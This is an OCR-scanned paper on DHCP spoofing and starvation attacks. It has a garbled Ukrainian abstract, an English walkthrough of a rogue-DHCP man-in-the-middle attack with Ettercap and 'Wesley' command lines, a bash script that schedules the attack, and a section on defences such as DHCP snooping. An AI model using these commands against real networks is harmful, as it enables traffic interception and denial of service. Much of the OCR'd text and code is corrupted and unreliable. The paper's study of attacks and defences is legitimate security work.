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Y uifi crarri mm  posmismaemo yemixu  DHCP
npoTokony (MPOTOKONIY JHHAMIYHOI KOH(Irypariiil By3ia)
y KoHTeKcTi Oe3neku. CTaTTsl CKIagaeThCs 3 YaCTHHH, JIe
OITUCYEThCS aTaka, YaCTUHH, Ji€ HAEThCS IPO 3aXHUCT Ta
IHCTPYKII 3 BHKOPHCTaHHS JaHHOI'O I1HCTPYMEHTY —
Wesdley. Mu mnpeseHTyeMO crmocoOu poOOTH TaHOro
npotokony (auB.puc.l) i BHOIIAEMO Bpa3ivBi YaCTHUHH,
Ha sIKi MOXe OyTH 3/1iliCHeHa aTaka.

OpHa 3 TpeacTaBleHUX aTak 0a3yeThesl HA CHMYJISLT
neranpHocti DHCP  cepepa. Ilpucrpiii  Masera
MOCTIHHO ~ HAJACWIa€  TPONO3UII0  KoHpirypamii
MOTCHINIMHNM KIlieHTaM. BoOHa chpsMoBaHa Ha Te, 11100
BiJIKJIIOYHTH JIETaJbHUI cepBep i 3’ €IHATUCH 3 KIIIEHTOM
(muB.puc.2). Tlicns ycmimiHOI aTtaku BCi KOMYHiKarii
KJIIEHTa MPOXOJUTUMYTh Yepe3 cepBep 3JI0MIIoBada. Mu
MOBUHHI MaMsATaTH TPO HEOOXIJAHICTh BBIMKHCHHS
nepeajpecanii omuiif, mo0 3abe3eduTH TPO30pICTh. Y
BIJIMOBIZIb HA IIFO0 aTaKy, 3’ ABJSIETHCS HOBUM MEXaHi3M -
DHCP BincniakoByBaHHs, KW BH3HAYAE KaHAIHU, SKAM
MOXXHa OTPUMATH KOH(ITypaliro Mepexi.

I[nmia taktuka nepenbadyae Bukonanus DOS (Denial of
Service — BiziMoBa B 0OCITyroByBaHHi) aTak Ha JeraibHUit
DHCP cepBep. Hancumaroum COTHI/THCAYI 3aImUTIiB
KoHQirypamii Mepexi uepe3 mnpuctpiii Maitera, Mu
MOXEMO 3a0JIOKyBaTH CepBep. 3anuTH IOBHUHHI MaTH
pizni anpecu MAC (muB.puc.3)

Mu mnpencTraBiIsSeEMO TakKoX 2 I1HCTPYMEHTH, KOTpi
MOXYTh BUKOPHCTOBYBATHChH JUIS 3IIHCHEHHS aTak, Ipo
sKi fime mosa: Ettercap i Wesdley. Mu maemo takox Jeski
IiJIKa3KHK 1 TIOpaIy I OTPUMAHHSA 0a)KaHOTO PE3yJIbTaTy
(mampuknan, BuBopuctants |ptables); e HaBiTh wacTuHa,
y SIKi HIEeThCSI PO YCYHEHHS HEToJa I0K.

B ocranHniii yacTHI JaHOT pOOOTH MU PO3IIISIIAEMO LIS
X1 BUsIBJIEHHs atak Ha nporokon DHCP. Mu o6roBoproemo
TaKoX BINNOBiAHI KOH]Iryparii Mepe)keBHX CepBiCIB Ta
IHCTPYMEHTIB, IO JO3BOJISIE YHUKATH TaKUX aTak.

Iepexnao suxonano Manunogceroro O. A., yenmp inozemHux
mos «Universal Talk», www.utalk.com.ua
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This essay shows how DHCP protocol works in the context
of its safety and susceptibility to attacks. We describe methods
of attacks on dhcp server that allow capturing information
between web nodes. We also show how to protect dhcp server
against trials of discredit e.g. “ dhcp snooping”. The content of
the essay includes the information about “Wedey’ - tool that
may be used for attacks discussed here. What is more, one can
find here the concepts of other attacks or modifications of
previously described ones. We also discuss problems that may
appear during attack or protecting network.
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[. Introduction

Let us consider some possibilities of DHCP Spoofing
attack in the local web, they will differentiate in
methodology or configuration of legadl DHCP servers
working in web. Before we start discussing the attack
itself, we should perform an initial analysis of the chosen
web and observe server behavior, find out which
configuration it sends to the clients, which DNS servers
there are, lega gate, whether any other DHCP servers
work, which bands of IP addresses assigned there are.
Such initial recognition allows us to assess generaly
which methods we should apply to avoid discredit and
conflict of addresses.

DHCP Spoofing attacks consist in pretending a legal
server, giving client the configuration and monitoring his
movement in web. The attack belongs to Man In the
Middle category and may be carried out on some different
ways described below. Firstly I will show the typical talk
process between client and DHCP server.

Il. Working of DHCP Server

The exemplary configuration:

IP Address: 10.10.10.101

Subnet Mask: 255.255.255.0

Default Routers: 10.10.10.1

DNS Servers: 192.168.10.4, 192.168.10.5
Lease time: 10 minutes
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DHCP
Server

Client

DHCP Discovery broadcast 1Psrc=0.0.0.0 (send me my config.) nfiguracj¢)

»
>

P
al

DHCP Offer unicast |Psrc=DHCPserver| P (proposal of config)

»
>

DHCP Request broadcast | Psrc=0.0.0.0 (this config suits me, | want
it)

DHCP Ack unicast | Psrc=DHCPserver| P (confirmation of leasing I P)

Fig.1 Scheme for working of DHCP protocol.

- Server dynamically assigns IP address on request

- Administrator creates the set of available addresses

- Addressis assigned on thetime of leasing

- DHCP provides other parameters and information (optionaly)

[1l. Attack - Fake DHCP Server

DHCP Discovery, Request

DHCP
Client Ser
ver
Attacking DHCP Offer, Ack
host

Fig.2 Scheme of attack —fake DHCP server.

The attack is when after appearing of DHCP Discovery
package in web our fake server sends DHCP Offer
response on unicast address before legal server does it,
then after receiving DHCP Request package it sends ACK
package again. This way the packages movement goes
through our computer, which also is the fake gate, thus
we can precisely monitor our victim.

The following problems may appear during the attack:

- IP addresses conflict, then everything depends on
DHCP server’s configuration and web monitoring, if we
assign the address from the set which the particular server
has at his own disposal and server tried to assign this
address, then it may check conflicts by pinging IP. Then it
could turn out, that a particular address is already in use
and server tries to assign another one. But what witch fact
of logging, which addresses are leased and for how long?
If server logs such information, then it knows, that such
an address was not leased and despite that it is in use
aready, thisisthe moment, when we can be detected.

- detection of OFFER and ACK packages from an
untrusted source, method of defense againg DHC
Spoofing — DHC Snooping sets settings from trusted
channds i.e. those from which DHCP Offer, Ack, Nak
packages may come and untrusted channels from which
such packages arerejected. Typically all VLAN portsare
untrusted, so our attack would not succeed.
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This attack can be performed by means of Ettercap
tool, which alows activation of fake DHCP server - it is
one of MITM attacks. Start application (discussed on the
example of GUI version), choose Sniff -> Unfied Sniff ->
web interface appropriate to user. In the Mitm bookmark
one can find Dhcp Spoof item, where we give bands of |P
addresses, which will be assigned, we also give web
screen/mask and server address. From this moment we
compete with lega server in assigning |P addresses and
we redirect movement through our hogt, this is why one
should remember to activate FORWARDING.

IV. Attack - starving DHCP server

Client Switch DPNP
oy,
A
// DOS
Attacker MAC 1: DHCP Discovery, Request
host MAC 2: DHCP Discovery, Request

MAC 3: DHCP Discovery, Request

Fig.3 Scheme of attack — starving DHCP server.

This attack consistsin sending a number of packageson
IP addresses for MAC addresses, which appear one after
another/consecutively. It means simulation of plugging in
new hosts therefore we reduce the set of 1P addresses
from DHCP server. This method allows us to define the
available set of IP addresses on server and is a typical
DOD (Denia of Service) attack in its first part After
leasing al the I P addresses we wait until the client send a
package DHCP Discovery and then we easily send our
faked DHCP Offer being sure that the server isnot faster.

While trying to get more IP addresses from DHCP
server one may encounter such problem as the possibility
of setting alimit on the highest number of |P addresses on
a switch port. It may be determined in such a way that,
the highest number of IP addresses on port is the number
of hosts (MAC addresses) plugged to the particular switch
port, this results in obtaining one or several |1P addresses
at best.

V. Short Wesley manual

Our attack will be performed by means of free Wedey
todl. In this part we will show you different posshilities,
which this program offers and we aso give some examples
of its practical usage. Wedey guarantees solution of some
problems connected with anonymity of the attack. It offers
redirection of a victim connection to any other IP address
using Iptables and it also protectsitsdf against monitoring of
web using MAC addresses blockade.

Let us gart from the fact, that giving on the entry only
three parameters may perform the attack in its standard use:

1) [P address, which isto be assigned to a victim of
the attack — using option: ¢
2) DNS server address —using option: r
3) Gate address, in this particular example attacking
I P address — using option: g
A typical call may look like this:
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Jwedey -c 192.168.10.11 -r
192.168.10.8

In this example IP address 192.168.10.11 is assigned to
the first user who wants to get IP address and sends
DHCP Discovery. The address of the real DNS server is
192.168.10.8. Let us notice that according to what was
mentioned in the subsection 3, as a gate we give our
address—192.168.10.

In the example above the 'malicious DNS server is not
created, so for -r option one should give real DNS server
address. Wedley guarantees us the possibility of starting
such server. In this case we should use -D -t option.

A typical call may look likethis:

Jwedey -c 192.168.10.11 -r
192.168.10.8-D -t 192.168.10.1

Let us notice that in this example a computer of the
attacker isboth a DNS server and a gate.

Additionaly after -D -t we have to put the address of
the 'transferring’' DNS server.

As a standard Wedley uses 255.255.255.0, mask, if we
want changeit, we can easily do it using -n option..

A typical call may look likethis:

Jwedey -c 192.168.10.11 -r
192.168.10.8 -n 255.255.254.0

We can a so change standard domain wesley.net on any
other:

A typical call may look likethis:

Jwedey -c 192.168.10.11 -r
192.168.10.8 -d cheotul.pl

The additional function, which the program offers, is
the use of Iptables. It is possible while using -s option.
The following call will redirect al connections from the
list given intheiplist file on 192.168.10.8. address.

The example:

Jwedey -c 192.168.10.11 -r
192.168.10.8 -s192.168.10 iplist

The Iplist file should be properly formatted. The
following addresses should be separated with space-bar.

The example:

192.168.10.19 192.168.10.16 192.168.10.13

Blocking / filtering of MAC addresses is another
important function already mentioned in the introduction.
A very convenient listing of MAC addresses (in the file)
may be used in many interesting ways. Wesley alows us
to block computers MAC addresses, which are suspected
of web monitoring due to fake DHCP servers or spoofing
of the particular MAC address. To do this, one should use
-m option and give the name of file that contains the list
of addressesthat are to be blocked.

The file must be properly formatted. We give MAC
addresses in successive file lines. We can aso use the
symbol ', that guarantees us a blockade of all the MAC
addresses except the chosen one.

The exemplary content of the file with the list of MAC
addresses:

00:23:56:34:F4:09

1 00:18:F3:45:84:60

The above file gives us a possibility to block the single
address 00:23:56:34:F4:09 and al addresses except
00:18:F3:45:84.60. In order to take advantage of the
above-described Wedey's function one may use the call
bel ow:

192.168.101 -g

192.168.10.8 -g

192.168.10.8 -g

192.168.101 -g

192.168.101 -g
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Jwesley -¢ 192.168.10.11 -r 192.168.10.1 -g 192.168.10.8
-m maclist

The above attack applies to computers that have addre-
sses compatible with dependencesin the maclist file.

VI. Problems

As it was interpreted above, Wedey is very simple in
usage. However, there appeared some troubles, which
should be mentioned here. If the computer is aready
connected to web, it may wait to get the same |IP address
it has got before. In this case it will not send DHCP
Discovery and we will be informed about the error. It
most often happens when user tries to connect to web
again without resetting the connection.

There appear problems for some routers that store in
cache MAC addresses of recently connected computers,
in this case the attack is not possible. However, when
storing time of these addresses passes, the attack may be
performed properly. The programme does not alow to
spoof in the multi mode. If we want such solution, we
should start the programme on new settings every time or
write a script, which allows this.

One should also consider the fact that, the web
adminigtrator may use specialised devices or sniffers,
which may discredit us.

VII. Attack at fixed intervals

Suppose that the statistics of web using are created.
Thus we know at what time users are most active.
Having many advantages, Wesley does not allow us to
attack the user at particular time of the day. For this
purpose bash script is prepared, it starts Wesley with the
defined parametersfor fixed interval.

The exemplary call:

dhcpspoof.sh 192.168.10.18 192.168.10.1 192.168.10.8
12:1712:21

One may use the script according to the following scheme:

dhepspoof [ip clinet] [dns server] [gateway] [time
gtart] [time end)]

#1/bin/bash
#parameters of work
client_ip=$1; dns=%$2; gateway=$3; czas=0

if ["$#" -ge5]; then #f set timers
czas=1; time_start=$4; time_end=3$5
fi

start="false"

time_startH=%(echo $time_start | cut -d"' -f 1)
time_startM=%(echo $time_start | cut -d"' -f 2)
time_endH=%$(echo $time_end | cut -d"' -f 1)
time_endM=%(echo $time_end | cut -d"' -f 2)

while [[ "$start"==false & & "$czas'==1]]

do

tmp=%(date | cut -d''-f 4 | cut -d' -f 1-2)

tmpH=%$(echo $tmp | cut -d"' -f 1)

tmpM=$(echo $tmp | cut -d"' -f 2)

#if timeis appropriate, then start spoofing

if [ "StmpH" -gt "$time startH" -a "$tmpH" -t
"$time_endH" ] || [ "$tmpH" -eq "$time_startH" -a " $tmpM "
-gt "$time statM" -a "$tmpM" -It "$time endM" ] || [
"$tmpH" -gt "$time_startH" -a"$tmpH" -le "$time_endH" -
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a"$tmpM" -It "$time_endM" ]; then start="true"
break; fi;

sleep 1 #if not, wait 1 second
done

#spoofing

if [ "$start"==true]; then

echo "Spoofing..."

if [1-z2$6]; then

echo "Mac filtering"

$(./wesley.out -c Sclient_ip -r $dns -g $gateway -d "otul .net"
-m $6)&

el se #bez filtrowania mac

echo "Without mac filterning"

$(./wesley.out -c Sclient_ip -r $dns -g $gateway -d
"otul.net")&

fi

tmp=%(ps aux | grep "./wesley.out")

pid=%(echo $tmp | cut -d" " -f 2)

fi

echo -n "Waiting for aend time..."; stop="false"
#wait until it goes beyond time period

while [[ "$stop"==false & & "$czas'==1]]

do

tmp=%(date | cut -d''-f 4 | cut -d' -f 1-2)
tmpH=%$(echo $tmp | cut -d"' -f 1)
tmpM=$(echo $tmp | cut -d"' -f 2)

if [ "$tmpH" -ge "$time endH" ] || [ "$tmpH" -eq
"$time endH" ] && [ "$tmpM" -ge "$time_endM" ]; then
stop="true"; break

fi

sleep 1; done

kill $pid; echo "Procces killed"

Listing 1 - dhcpspoof.sh

VIIl. Detection of attack, methods of
defence from DHCP Spoofing

Basic method used to avoid attacks of type DHCP
Spoofing is setting constant configuration for the
network. Constant, restricted set of addresses may
prevent before getting faked IP from attacker.
Additionally, it is worthy to take care of monitoring
network by using special tools e.g. sniffers. Analysis
could be based on filtering interesting us packages
DHCP and controlling source IP. We can this way
detect faked users, who created ,artificial” gateways.
One of the interesting defence’'s method is previously
mentioned DHCP Snooping. It uses data from DHCP
packages to create filters, which bind client MAC with
IP address got from DHCP. In that way spoofed
messages are filtered.

Conclusion

In this paper we consider potentia thrests connected
with getting network’s configuration by DHCP. We
present some attacks and defense’s methods hoping that
will help to avoid such problemsin afuture.
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